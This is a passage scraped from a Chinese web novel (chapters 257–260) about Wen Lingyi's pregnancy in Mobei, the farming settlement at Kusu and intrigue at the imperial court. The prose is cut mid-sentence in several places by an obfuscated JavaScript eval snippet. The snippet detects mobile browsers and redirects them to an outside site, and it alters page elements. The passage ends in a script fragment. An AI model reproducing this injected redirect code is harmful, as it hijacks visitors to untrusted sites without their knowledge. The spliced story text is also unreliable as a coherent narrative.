温令仪看着母亲小心翼翼的样子,突然笑出声来,是发自内心的开心,是久违的,让心里都暖融融的感觉。 “看你,娘说的不对,就直接告诉娘,娘小家子气,那是娘不好,你一声不吭做什么呢?”温夫人也笑了,她看到了,女儿是真的笑了,那眼里有光呢。 “母亲的担忧是慈母心肠,我可不觉得您小家子气。”温令仪挽着温夫人的手臂:“是大表哥吧?” 温夫人笑着点头:“可说呢,要不是个晚辈啊,你大表哥能指着鼻子训斥我,不过娘可不怪他,说得对,娘总是担心那些细枝末节的地方,可我的阿宁哪里是那些寻常女子能比得起的?你大表哥还说了,这世上的人,对女子的认识太浅薄了,还说娘没错,是宋家的教养导致的,要我说啊,以后宋家保不齐出来一个厉害的姑娘,就像阿宁这般的。” 温令仪笑着坐下来,听母亲说话,本来还觉得胃里总不舒服,可这会儿整个人都轻盈了许多,她知道,大表哥不单单解了母亲的心结,也在解自己的心结。 “要我说啊,这就是旁观者清,娘还以为自己做的没错呢,你瞅瞅把我们家阿宁委屈的,罢了,咱们也不惧别人说什么,明儿娘带你出去走走,让你看看咱们温家在漠北的产业多大。”温夫人说:“也带上你的两个嫂嫂,宋家养我这一个拎不清的就行了,可要让明月和曦月多出去走走看看。” 温令仪点头:“好啊。” 温夫人像是个孩子似的,给温令仪看她挑选的料子,絮絮叨叨的说着给小外孙做什么样子的好看,要绣什么样的花样儿。 温令仪静静地看着母亲这般模样,突然觉得一切都正常了似的,原来一个人的心安竟是如此简单,如她,重生一世,一直都在为至亲拼尽全力,虽甘之如饴,可每到夜深人静的时候,心里都觉得缺了一块儿。 如今才知道,自己缺的便是这份温情,她不需要亲人的感激,因为这些事她必须做,但需要亲人的温暖,像现在的母亲,犹如灵丹妙药一般填补了自己空落落的那一块儿。 没人能不在乎世俗规矩,偏偏她没有守任何世俗规矩。 这也是她心里过不去的坎儿。 “阿宁,娘明白了一个道理。”温夫人抬头看了一眼温令仪,低头继续挑选丝线配色:“这世上从来不缺守规矩的人,但少见能定规矩的人,以后啊,你要多为天下女子争一争,保不齐以后不单单有女商贾,还会有女将军,女夫子呢。” 温令仪轻轻点头,其实她想要告诉母亲,女将军是有的,女夫子也是有的,女子从商的很多,只不过达不到商贾,因世间男子多以男为尊,女为卑,怕女子过于强大,反倒是显得他们无能了。 “母亲,江湖盟主是女子。”温令仪说。 温夫人愕然的抬头:“女子?” “对,叫墨染,特别喜欢囡囡。”温令仪说:“囡囡还是天道盟的少主呢。” 提到囡囡,温夫人说:“我那小外孙女不知道什么时候能回来,我这外祖母都没有好好疼爱她,罢了,回头我多准备点儿女儿家喜欢的物件儿和衣料,必定要弥补一二的。” 温令仪也十分想念小囡囡,这个孩子不知道什么时候才能回来,更不知道萧玄策什么时候能放女儿回来。 翌日。 温夫人带着大儿媳明月,二儿媳曦月和温令仪出门,年轻的妇人都带着幕篱,温夫人走在中间,下了马车走在田埂上。 风还有些凉,漠北城隔开了大夏和西凉,大夏这边重耕种,但也有很大的牧场,牛羊虽不及西凉多,可西凉少粮,没有开战的时候,每年秋季都会有很多商贾从大夏运送粮食到西凉去,在那边还回来很多牛羊。 相安无事的日子可惜太短,西凉兵强马壮,每年到了秋季,屡屡犯边,那些当兵的会伪装成马贼,抢粮。 这让漠北少农户。 打从温家军来到这里后,这里有了翻天 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村子里也有赤脚郎中,温令仪会把一些方子传下去,也查看了这边的草药。 温夫人看着忙碌的女儿,眼里终于安下来了。 这才是自己的女儿该有的样子,或许就该让她在庄子里多住一段日子,或许对她养胎会更好一些。 “母亲,如果让令仪住在这里,我们就都在这边住一段日子好不好?”宋明月说。 温夫人笑了:“你也想要住在这里啊?” “是啊。”宋明月说:“住在这里也挺好的,我们去置办一个宅子,就在这边住下,比漠北城要好多了。” 温夫人立刻安排人去置办宅子了。 温令仪看到偌大的宅子,往来帮忙收拾的人,愣住了:“母亲,这是做什么?” “住在这里。”温夫人笑眯眯的看着温令仪:“阿宁,高兴吗?” 第257章 方静言到了漠北 温令仪惊喜的连连点头。 住在庄子里,温令仪觉得自己的生活一下就热闹起来了,她换上细棉布的衣裙,背着药篓早出晚归,身边只带着个小丫环如意,家里有两个嬷嬷照看,宋嬷嬷和李嬷嬷都是宋家那边的老人儿,宋老夫人回去中山的时候,把这些人留给了温夫人,温家当初来漠北的时候,带来的人手不足,用外面的人不安全,唯有这样才不会让人趁机往温家里安插眼线。 而这些人忠心耿耿,留着照顾温令仪最让人放心。 宋明月和宋曦月经常跑来,但不能像温令仪这样常住在庄子上。 许是心情好的缘故,温令仪不单能采药,还能熬药,庄子上的老人和孩子但凡有个头疼脑热都会过来求医问药,温令仪也不收什么诊金和药钱,每天忙忙碌碌,反倒面色红润了许多,睡得也踏实。 至于外面如何,温令仪都懒得想,她知道裴祈安在西凉,二哥在西凉,那就足够了,改变了自己能改变的一切,余下的就顺其自然。 这个庄子叫温家庄,庄把头叫程淮,年轻人都尊一声四爷。 程四爷年轻那会儿是秀才,屡试不中后就务农和做了教书先生,儿子叫程大有,在漠北戍边十年了,温家来到漠北,程四爷带着家眷和亲朋都来了漠北,老爷子心里非常清楚,大夏要乱,能跟着温家军到漠北,至少会平安度过接下来的乱世。 在这边不单单是庄把头,还开了学塾,教**孩子们读书识字,甚至教**他们如何堆沙盘,模仿史书上记载的战役,这些孩子们如出一辙的喜欢打仗,而不是读书,颇有要子承父业的架势。 温令仪让宋嬷嬷去漠北城,从众合商会里调来了粮种、布匹和笔墨纸砚。 “夫人,漠北随军来的家眷有上万人,如此贴补可万万不能,世上事不患寡患不均啊。”程四爷看到送进来的这些笔墨纸砚和布匹,语重心长的说。 温令仪笑了:“四爷放心,我们一共有四个庄子,可以开蒙的孩子有三百二十七人,这些孩子们都能读书识字是好事,开学塾都送这些,衣料做成长袍,让他们从小就知道,就算是两军阵前也不能当莽夫,要有勇有谋。” 程四爷又惊又喜,惊的是主家能如此善待他们,喜的是这些贫苦百姓的孩子们极有可能因为这样的机缘,成为兴家之子。 千恩万谢后,程四爷可没闲着,挨个庄子去寻能做夫子的人,月余,四个庄子开了八个学塾,其中有温令仪请来的夫子,还有武师父。 漠北的春天虽来得晚,可也到了春暖花开的时节,温令仪已经显怀了,她极少在庄子里露面,求医问药都到她的小院来,宋嬷嬷和李嬷嬷会陪着她到田间地头走一走,幕篱从头到脚遮挡,宽松的衣物也让整个人看上去只是胖了些。 田地里的秧苗生机勃勃,温令仪最喜这样的景色,耳边若没有朗朗读书声,就能看到孩子们排着队,在武师父的带领下,围着庄子跑步,一天的课业完成后,这些孩子们欢笑着跑去田里,帮大人做伙计,女娃们挖野菜,看到漂亮的野花会采回来,悄悄送到温令仪的门外。 能让女娃读书,也能让女娃习武强身,别说这些庄户百姓了,就是程四爷都钦佩这位温家的二小姐。 他是知道的,温家二小姐虽然生在富贵人家,可命真算不上多好,秦国公府里的日子过得艰难,到最后若非娘家力保,晏怀卿一个投递叛国,就会要了这二小姐的命。 这样的女子除了敬重,更让人疼惜。 “小妹。”宋明月下了马车,看到温令仪在院子里挑拣草药,快步过来:“怎么还操持这些?” 温令仪放下手里的草药,请宋明月到屋子里,净手后坐在宋明月身边:“长嫂,大哥那边可有消息?” “一切安好。”宋明月笑眯眯的说:“别记挂他,他在苍山那边做的事成了。” 温令仪吃惊:“这么快?” “算不得快,咱们苍山里的能工巧匠可不少呢。”宋明月说:“倒是大哥那边送消息回来了,说朝廷迟迟不肯出手,倒是大张旗鼓去祭祖了,百姓民怨沸腾。” 温令仪微微挑眉:“作死的人,是没谁能劝得住的,没有因为他昏庸无道让百姓遭难,就行。” “还有一件大事。”宋明月压低声音:“太后薨了,万万没想到,太后薨了不足三日,皇后也随着去了。” 温令仪惊得站了起来:“皇后也薨了?皇后年纪不大啊。” “唉,听说疯了一年多,现在京城里可不消停了,皇上也像是中邪了一般,罗老大人撑不住,让祖父回去京中。”宋明月压低声音:“今年只怕就算治理好了泾水河,百姓还是会挨饿。” 温令仪缓缓地坐下来:“没有粮种,百姓哪里能无中生有?” 宋明月叹了口气:“可说呢,所以慕阳那边送回来消息,说是想要一批粮种过去,西凉那边可以开垦田地。” “哪里那么容易?姑且不说那些西凉人会不会真心臣服,就是有粮种还要有人啊,去哪里迁徙大批会农耕的人过去呢?”温令仪看了眼外面:“眼看农时都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065347|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了。” 宋明月也是这么想的,但有人说可行:“方静言说可行。” “方静言?”温令仪扶额,这才想起来之前提过想要让方静言来漠北:“她来漠北了吗?” 宋明月摇头:“没那么快,不过也就这两天能到,听说京中那边也想要方静言出面为农耕的事献计献策,不过方静言能来漠北,必定是也瞧不上那昏君的做派。” 温令仪还是担心,方静言说能做,保不齐真行,可农耕最不能缺少的不单单是粮种,还有人力,若是大批百姓往漠北来,朝廷那边肯定坐不住,转念一想,脸上浮起了喜色:“我陪着方静言入西凉,二哥所过之处,必定会留下将士们驻守,这些将士们可以耕种,还能震慑西凉人。” “我本一筹莫展,还是慕春说来找你,说你一定有法子,到底是阿宁聪慧。”宋明月笑着拍了拍温令仪的手背:“不过,你不能去西凉,你要好好安胎,我去西凉走一走。” 温令仪哪里舍得长嫂去冒险,反倒是宋明月说:“我和慕春了解得可不止西凉,还有西域三十六国,只管安心等着便是。” 说安心等着?温令仪哪里能放下心来,当晚就带着如意跟宋明月回了漠北城,这边让宋嬷嬷和李嬷嬷看顾着。 漠北城里。 方静言再次见到温令仪,一眼就看出温令仪有了身孕,上前要行礼,温令仪扶住了她:“方姑娘可不能,此番让你奔波到这里,心里都过意不去,快坐吧。” “夫人何出此言,当初若非夫人出手,我这条命都丢在泾水河了,救命之恩一刻都不敢忘,再者我来漠北并非只是为了报恩,还因有一种粮食,西凉的土壤最适合。”方静言低声:“罗大人也一道过来了,只不过要在暗处。” 温令仪了然:“既是如此,众合商会随行,我的长嫂也会为方姑娘引路,不知道什时候启程去西凉?” 方静言低声:“小囡囡,在哪里?我想要见她一面。” 温令仪轻轻摇头:“这孩子在萧玄策身边,到底身在何处尚不可知,方姑娘,若是能见到她,给她带个话儿,就是娘亲十分想她,让她来漠北。” 方静言没有多留,当晚就出发了,众合商会护着方静言,那是尽心尽力,只不过方静言没好意思说,如今,她可以说只差一步,就是罗家的大夫人了,并且十分着急,着急这大夏快改天换地。 温令仪目送着马车徐徐离开,抬起手抚了抚隆起的小腹,别说小囡囡了,就是二哥和裴祈安如今怎么样,自己也不知道呢。 第258章 共饮庆功酒,彼此试探 温令仪回到了庄子里。 宋嬷嬷和李嬷嬷每天变着花样儿给温令仪做可口的吃喝,温令仪开始写入门的草药书籍,这些书籍写好,如意抄写成册,分别送到学堂里去,女孩子们都十分喜欢上草药课,漠北草原上、山上甚至田间地头都可以找到草药,温令仪会把这些草药都收回来。 当这些孩子们对草药熟悉后,她就把冻疮膏的方子给她们,让她们学着做冻疮膏,只要做成了还会收回来。 农闲时候,所有人都想要多赚点儿银子贴补家用,所以漠北没有闲着的人,温令仪把这些冻疮膏放在地窖里,漠北冬日漫长,驻扎在这边的将士们和生活在这边的人很容易被冻坏,这些冻疮膏可以送到军中,而这些百姓学会了冻疮膏的方子,也必定能自给自足。 日子在这样的忙碌中过得不露痕迹,只是日渐笨重的身子让温令仪有些辛苦。 也开始惦记西凉的情况了。 她并不知道,此时的西凉已彻底变了天,萧玄策和温慕阳的两股大军兵合一处,凡西凉部族,不论大小,若有抵抗都会被打到臣服,一路打到了泾水河北岸,两军一起庆功。 萧玄策和裴祈安坐在一处。 “你手底下可不止温家军啊。”萧玄策抬眸看着罗政。 罗无咎他很了解,罗岳也门清儿,唯独这个突然冒出来的玉面修罗让他颇为意外,谁能想到一个纨绔竟摇身一变成了战场上的修罗将。 裴祈安也看着罗政:“若是凯旋回京,罗政会让京城的人都惊掉下巴的,他确实让人出乎意料。” “怎么样?借你三十万大军,打回京城如何?”萧玄策问。 裴祈安笑了:“玄策兄的大军可不敢用。” “你要相信我,当然了,借兵肯定是要有好处的,我也不要别的好处,那个在后头指挥将士们开荒种地的女子,能不能借我用几年?”萧玄策抬起手臂勾着裴祈安的肩膀:“你手底下都是能人,小囡囡都跑去四个多月了。” 方静言到了西凉后,小囡囡立刻丢下萧玄策跑过去了,这让萧玄策对方静言用了心思,传递回来的消息,那女人非常善于耕种,同样是分了西凉半数国土,属于裴祈安的那一半都在开荒,这简直让萧玄策看到了让百姓温饱的希望,真是恨不得把人直接抢走。 裴祈安摇头:“兵不借,方静言不会为你所用,但你可以派遣善于农耕的人过去学习。” “一言为定。”萧玄策也不是贪得无厌的人,裴祈安能答应让自己的人过去学习,这就足够了。 “什么时候回京?”萧玄策笑眯眯的看着裴祈安:“我也要过去凑个热闹。” 裴祈安低声:“等我的孩子降生后。” 萧玄策脸上的表情顿时凝固了,孩子?裴祈安的孩子?不用想也知道肯定是温令仪,心里是有些失望的,可是更多的是无助,到如今,他想不信都不能,因温令仪那样的女子是裴祈安的,小囡囡也是裴祈安的,这两个人尚且有着扯不开的关系,可罗家、大夏江湖甚至方静言,这些人都拱卫着裴祈安,小囡囡并非耸人听闻,真正能执掌天下的人是裴祈安,而自己西域三十六国和西凉半数土地,足矣。 若说担心,萧玄策反而担心裴祈安想要天下一统,那样自己未必能与之抗衡。 “届时,玄策兄可同去大夏。”裴祈安说。 萧玄策笑着点头:“一言为定。” 共饮庆功酒后,罗政开拔回雁门关,至于神女山,没人提起,格日勒率领巫医族的族人回去神女山,这是所有人都默认的。 裴祈安送走了罗政,立在泾水河边,看着湍急的河水:“已经七月了,不知道泾河府那边如何,这次回漠北后,我的监军之责尽了,要回京城了。” “然后呢?”温慕阳看着裴祈安。 裴祈安和温慕阳往大营这边走:“苍山里的镇国杀器已经造出来了,你要带领将士们把那些都运到西凉来,如今西凉这一片土地和萧玄策那一片泾渭分明,高筑墙后,要让这些流火炮露露面。” “你担心萧玄策人心不足?”温慕阳问。 裴祈安摇了摇头:“是很多人都会对大夏垂涎三尺,大开贸易之门,手里也要有刀防贼人乱动心思。” 温慕阳明白裴祈安的意思,只是担心:“回京后呢?” “阿宁临盆后,我回京复命,永元帝如今已方寸大乱,二哥,放心吧,不会等太久,更不需要温家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070697|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军开拔。”裴祈安说。 温慕阳点头,这一路打过来,心里别提多舒畅了,这么多年西凉犹如卧榻旁的猛虎,可如今如何?凋敝到被瓜分,那些族群可以被善待,但这一大片土地注定成为温家军的牧马之地。 裴祈安没有跟大军一起走,而是先走一步,往库苏部落来。 库苏部落是西凉最大的部落,方静言就在这里。 还没等到库苏部落的居住地,就看到了大片大片的良田,田地里的秧苗生机勃勃,开着淡紫色的小花,可到底是什么,裴祈安也不认得。 “爹爹!”小囡囡看到裴祈安,欢快的跑出来。 裴祈安翻身下马,张开手臂把女儿抱在怀里:“爹爹来得早,你跟爹爹去漠北陪着娘亲好不好?” “好。”小囡囡笑眯眯的说:“我就是在等爹爹,不然早就回去见娘亲了。” 裴祈安抱着她往库苏居住地来,这里是一圈一圈的毡房,因为草原上战乱的缘故,牧民们都不敢离开自己的族群。 小囡囡低声说:“大舅母也在这里,以后这里会有一个很大的库苏城,到那个时候,这里可以有各种商贾开各种各样的买卖,这会成为一个非常繁华的地方。” “囡囡也出了不少力吧?”裴祈安捏了捏小囡囡的脸蛋:“看你,小小年纪都瘦了。” 小囡囡撒娇的趴在裴祈安的肩膀上:“爹爹,你认得外面田里的东西吗?” 裴祈安正想问,听到这话笑了:“爹爹不认得,应该很多人都不认得,是方静言拿出来的种子吗?” “对,爹爹,如果有一天你能册封女官,一定要册封方静言,她是一个能让很多人吃饱肚子的能人。”小囡囡认真的说。 裴祈安点头:“好,爹爹可不是个迂腐的人,许多女子真真比男子更厉害许多,巾帼不让须眉。” 小囡囡在想,墨染此时在哪里?若是能不走的话,墨染一定能让流火炮更厉害,只是很久没有听到墨染的消息了。 库苏城在建设中,众合商会运送来了许多木头、青砖,也送来了许多泥瓦匠,裴祈安停下脚步,看着眼前的一切,缓缓地吸了口气,他要加快进程,永元帝的江山,坐到头了! 第259章 缺吃少喝,走到半途就回去了 方静言十分恭敬地给裴祈安行礼:“摄政王能来库苏城,这里的大夏人一定会很高兴的。” “免礼。”裴祈安坐下来,示意方静言坐下回话,问道:“这里有很多大夏人吗?” “是的,工匠、农人和商贾,这里会成为跟西域三十六国贸易往来的窗口。”方静言说。 裴祈安想到初次见到方静言时候的场景,忍不住唏嘘,很多人的郁郁不得志,概因所处环境的限制,谁能想到当年那个要被浸猪笼的女子,如今竟能成为大夏农耕第一人,真不知道曾经的那些村民若是再见到方静言,心中会作何感想。 “除了温家大夫人,还有谁在这边帮衬呢?”裴祈安问。 小囡囡笑眯眯的小声说:“爹爹,我舅舅个用心了,安排了很多罗家的人过来帮衬舅母呢。” 这话惹得方静言脸都红了,低下头:“罗岳安排了足够多的人手,摄政王放心。” “那就好。”裴祈安在这边休整了两日,主要是要看看库苏的布局,小囡囡对这里十分熟悉,甚至如数家珍,裴祈安知道自己这宝贝女儿没少费心思。 两日后,裴祈安回漠北,带上了小囡囡和宋明月,概因温令仪临盆日子越来越近了,随后不管是雁门关还是漠北,都需要凯旋班师,朝廷的圣旨一定会很快就到,温家班师回朝,女眷就不能留在漠北。 小囡囡跟宋明月投契的很,两个人坐在马车里,裴祈安就算在另外的马车里都能听到小囡囡叽叽喳喳的声音。 宋明月也爱极了小囡囡,这么小的孩子,说出来的话颇有些语不惊人死不休的架势,但绝非大放厥词的信口胡诌,有理有据不说,还能让人豁然开朗,看似离经叛道,可很多道理蕴含其中,只需要仔细的琢磨,总能有不同的感悟,这哪里是个孩子啊,分明是个神童啊! 从盛夏到秋凉,温令仪是真切的体会到了漠北的气候特性,按照京城的节令算,立秋时候还炎热的很,可漠北这边已经一早一晚就起凉风了。 早一步有人送信到庄子上,温令仪盼着女儿和裴祈安,终于一家人又能团聚了,尽管不知道为什么萧玄策愿意放女儿回来,更不知道小囡囡有没有被难为。 如意和两个嬷嬷这些日子都很忙,村民送来了许多蔬菜,为了能好储存,三个人就在院子里支了晒菜的篾筐,旁边放着桌子,桌子上放着砧板和刀具,偌大的院子都摆满了篾筐。 温令仪如今不到外面走动,避人耳目还在其次,主要是这一胎确实辛苦,越是到了最后这一个多月,人就越发的不爱动弹了,如意隔一会儿就会进来,帮温令仪揉捏肿胀的小腿。 见温令仪往外张望,如意轻声说:“小姐,从漠北城到咱们这里也要大半日的工夫,姑爷和小小姐又不能越过了城里的老爷和夫人,总是要晚一天才到的。” “是啊,只是许多日子没见到囡囡了,惦念的厉害。”温令仪说。 如意知道小姐的事,温夫人特地叮嘱交代过的,不止是她,宋嬷嬷和李嬷嬷也都知道个中隐情,所以提到裴祈安的时候,自然是会称姑爷。 日落时分,温令仪用过了晚饭,靠在软枕上看账目,这些账目是庄子上的,她想要趁着临盆前的日子都核算一遍,哪怕之后要回京,这边的账目也能留在母亲手里做个底账。 外面,宋嬷嬷几个人收草药和冻疮膏,这些都要放进地窖里存着,回头得空送去军中。 马蹄声传来的时候,外面的人都没在意,温令仪倒是心有所感的放下了手里的账目,转念一想,天都黑了,以为是自己听岔了,也就没放在心上。 “娘亲!” 温令仪手一抖,扶着腰起身,还不等下地穿鞋,小囡囡已经撒欢一般跑进来了,扶住了弯腰的温令仪:“娘亲快躺下,可不能累到。” 温令仪抬眸看着女儿,近一年没见,女儿长高了不少,西凉的风沙竟没有把她晒黑了,但整个人都结实的很。 那双眼睛本来就黑白分明,如今更添了许多光彩,温令仪眼圈发红:“你这孩子,怎么不在外祖家里住一晚呢?” “我倒是想要住来着,可是爹爹忍耐不下,恨不得长了翅膀飞到娘亲跟前呢。”小囡囡扶着温令仪坐好,回头看着进门的裴祈安,撇了撇嘴儿:“娘亲,今晚要跟囡囡一起睡嗷。” 温令仪笑了:“好,好。” 裴祈安看着温令仪隆起的小腹,心口就堵得慌,有些喘不过来气,虽说世间女子都要养儿育女,可自己的女人遭这般罪,让他心疼的厉害。 “那我去外面看看,那么多干菜可真是好东西。”小囡囡可不想留在这里当电灯泡,再者虽然穿越到这个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿宁临盆之后,我会让人护送归京,五师兄回来有三个月了,只不过我没让他露面。”裴祈安看着温令仪:“宋玉承在泾河府,差人过去让宋玉承接了五师兄的货,等待时机。” 温令仪轻轻点头,五师兄啊,不知道能不能带回来稀罕物,要是有种子就更好了,漠北到底气候不好,要是方静言在江南,那可是大有作为的地方啊。 第260章 有孕在身的消息,能瞒得住吗? 小囡囡终于吃到了干菜,按照自己说的,宋嬷嬷给做好的。 温令仪看着女儿吃的香甜,忍不住凑过来也吃了一小碗饭:“这干菜做出来还真挺好吃的,囡囡还有菜谱不成?” “二小姐啊,小小姐哪里需要有菜谱,别说干菜了,就是树皮炖这些肉啊,也好吃的很。”宋嬷嬷笑眯眯的说。 小囡囡吐了吐舌头:“对呢,娘亲,其实百姓越是清汤寡水的吃,就越是能吃很多,看看那些钟鼎鸣食的大户人家,吃了几口就饱了,就是肚子里油水足够。” 温令仪点头:“确实有道理,可是怎么才能让百姓肚子里油水也足啊?” “养猪啊,牛羊啊,鸡鸭鹅也行啊。”小囡囡提到这个,两眼冒光:“西域的大宛和小宛,牛羊遍地都是,那边的日子过的就十分富足,气候最恶劣的是西凉西部,再往西反而气候就好了很多,不过厄尔托国往西就是沙漠了,大片大片的沙漠,没什么用。” 温令仪抬起手给小囡囡擦了擦嘴角上的油渍:“然后呢?” “百姓养猪。”小囡囡说:“养多少都行,毕竟日子是百姓自己的日子,量力而行是百姓的保命智慧。” 温令仪挺赞同的。 “杀猪、羊和牛不需要跟衙门说,更不能交税。”小囡囡认真起来,掰着指头数落起来:“人头税,田宅税,代役钱。盐铁茶酒也有税,矿、渔税,间架税更是离谱,娘,你说呢?” 温令仪面色凝重:“囡囡,你知道这世上从来都不公平,朝廷约束万民,就不得不制定法规,而你说的这些徭役赋税,是让一个国家良性运转所需要的规矩,没有规矩不成方圆,并非如你想得那么简单。” 小囡囡抿了抿嘴角:“酌情呢?” “酌情也要先了解世情,就拿咱们现在的朝廷来说,民不聊生,百姓苦不堪言,天灾人祸之下,百姓温饱都难,在这种情况下,徭役赋税就像是最后一根稻草,能压垮一家人,这就造成了**,遭成了义军四起。”温令仪说。 小囡囡点头:“就算是政通人和的时候,也有欺上瞒下的官员,百姓总是最弱,最容易被欺负的。” 温令仪叹了口气:“囡囡啊,你想要的国是很难实现的,不过你还小,等你长大可以多为百姓做事。” 小囡囡抿了抿唇角:“那养猪,杀猪,不交税可以吧?” “嗯,可以。”温令仪点头,这件事其实并不难。 “女学呢?朝廷肯不肯建女学,让女子不用花钱就能开蒙。”小囡囡说。 温令仪捏了捏小囡囡的脸蛋儿:“如果朝廷不能这么做,娘亲可以出这笔钱,我们手里的买卖不少,你爹也有挺多买卖,如果再不够,众合商会手底下有很多商贾大户,可以筹措金银。” 小囡囡的眼里顿时有光了:“娘亲真是了不起的女子。” 办女学是温令仪很早以前就想过的,只不过一直都没有合适的机会,甚至温令仪想过,有朝一日尘埃落定,她能做的事就更多了。 小囡囡到底还是个小孩子的身体,撑不住奔波劳累,吃饱喝足就昏昏欲睡了,宋嬷嬷抱着小囡囡去厢房歇下,温令仪也靠在软枕上休息,裴祈安洗漱之后过来坐在旁边,两个人低声说着西凉那边的事,提到了库苏城。 两个人说着话,温令仪便睡着了。 裴祈安耳朵一动,悄悄起身,帮温令仪掖了掖被角,悄悄地离开房间,奔院子后门出去,看到了两个黑衣人。 “主子,战报再有十天能到京城,我们的人会阻拦一二,陆鹤卿带着裴琰已掌控了泾河府以南,卫戟寒等人占领了泾水河东南三府,就连随州那边也被沈岱青等人掌控,朝中大臣屡次上奏折都泥牛入海,主子,反了吧。”黑衣人单膝跪地,说道。 裴祈安负手而立:“顾衍,可有墨染的消息?江湖上可有动态?” 黑衣人正是裴祈安手底下,跟谭庸并称双雄之一的人,只不过谭庸在明,顾衍在暗。 “主子,墨染下落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温令仪的担心,并非臆想,因永元帝如今非但刚愎自用,还十分多疑,更因大夏境内情势困重,举步维艰,而导致草木皆兵。 “无妨,京中暂时安稳,若阿宁不放心,我可让人立刻回京给长姐送信儿。”裴祈安安抚道:“任何事情都没有你平安生产重要,如今我们不像以前了,真若是永元帝知道了,那也要掂量掂量温家手里的温家军。” 温令仪知道裴祈安在安慰自己,其实他们都知道如今只能说外忧已无,可所求尚且道长且阻。 若非自己身怀六甲,此时早就应该在京中了。 可奈何,人无分身术,总会力有不逮之时。 远在京城。 温令容陪着若桃下棋,从回京那日开始,温令容就不分昼夜的跟若桃在一起,教**她京城里的那些礼仪规矩,也会凭着对温令仪的了解,跟林嬷嬷、碧桃和海棠一起,让若桃了解温令仪这些年的点点滴滴,更是从言谈举止上下了苦功夫,让若桃更像温令仪。 若桃跟在梅山时候的变化可用翻天覆地形容,曾经的她一腔赤诚从不遮掩,概因在梅山里,不需要尔虞我诈,更少与人接触。 遭逢巨变的若桃去过药王谷,在药王谷里最愿意跟还存活的十大恶人说话,无数次都在各种光怪陆离的故事里睡着,而她发现人性的恶远比被贴上恶人标签的人更可怕。 从学了易容术,发狠要为母亲报仇那日开始,若桃就知道自己若不改变,终究会一事无成,如今假扮温令仪科不单单因为温令仪杀了穆青,为自己报了仇。 更因为她非常了解温令仪想要保护至亲的心情。 “太后薨了,皇后也薨了,天家的丧事不管怎么操办,我们都需要谨言慎行。”温令容说。 若桃愣了一下:“早前,皇后不就因为丧子之痛**吗?” 林嬷嬷放下茶,低声:“二小姐,国不可一日无君,后宫也不可无后,这位皇后登上后位还不足两年,是太后的侄女。” “这样啊。”若桃捧着茶,在想自己的娘亲,以前不知道,但现在知道了娘是大梁的公主,可是娘身上可没有天家人的娇气,更没有那么多规矩,若是娘不守着那么大的秘密,会不会也有人陪在身边。 温令容看若桃似懂非懂的模样,心里还是止不住担忧的。 打从若桃以温令仪的身份在镇国公府里生活,外界的消息一概不过问,其实怕得就是若桃知道的多了,反而露出破绽,可如今太后薨了,皇后也薨了,温令仪需要代表镇国公府去吊唁。 也是要庆幸的,永元帝像是把镇国公府忘记了似的,从来没有为难过镇国公府。 若是为了安全起见,若桃得对外宣称病了,不知道能不能躲过去。 可是没有给温令容安排的机会,当晚漠北大捷、雁门关大捷的消息就送到了。 “消息可传到了宫里?”温令容问。 来人摇头:“是主子怕这边被盯上,差属下日夜兼程回来送信儿的。” 温令仪让林嬷嬷带着来人下去休息,独自一个人在房间里来回踱步,大捷是好事,可接下来的事,若桃要能应付得了才行。 一旦战报送到京城,皇上必定会嘉赏镇国公府,身为镇国公府唯一的温家人,温令仪势必要入宫谢恩,吊唁更是不能缺席,也不知道小妹为何迟迟未归。 接下来几日,若桃从早到晚都在认人,京城的达官显贵,青年才俊,朝堂上的后起之秀,都认了好几遍,生怕有纰漏。 冬月初十,边关战报先后送到了兵部,兵部尚书云湛连夜求见,入宫时候双手捧着战报,眼眶发红,如今千疮百孔的大夏啊,这两份战报简直犹如劈天斧,可镇国啊。 永元帝面容枯瘦,坐在御书房里的他神色萎靡,抬眸看着云湛大步流星的进门,颇有些意气风发的样子,心里极为不舒坦,这云湛的来历查过了,是镇国公温城的旧部之子,呵,现在这朝堂也正是奇怪了,不知道是该姓温还是姓罗了,反正跟郎家没多大的关系,毕竟武将在温城手里,文臣几乎都是罗无咎的人,他竟成了被架起来的皇帝,两手空空不说,国库也空空,多希望进来的人不是云湛,而是裴祈安啊。 云湛跪倒在地,双手捧着战报举过头顶:“恭喜皇上,贺喜皇上,臣刚刚接到雁门关和漠北的战报。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 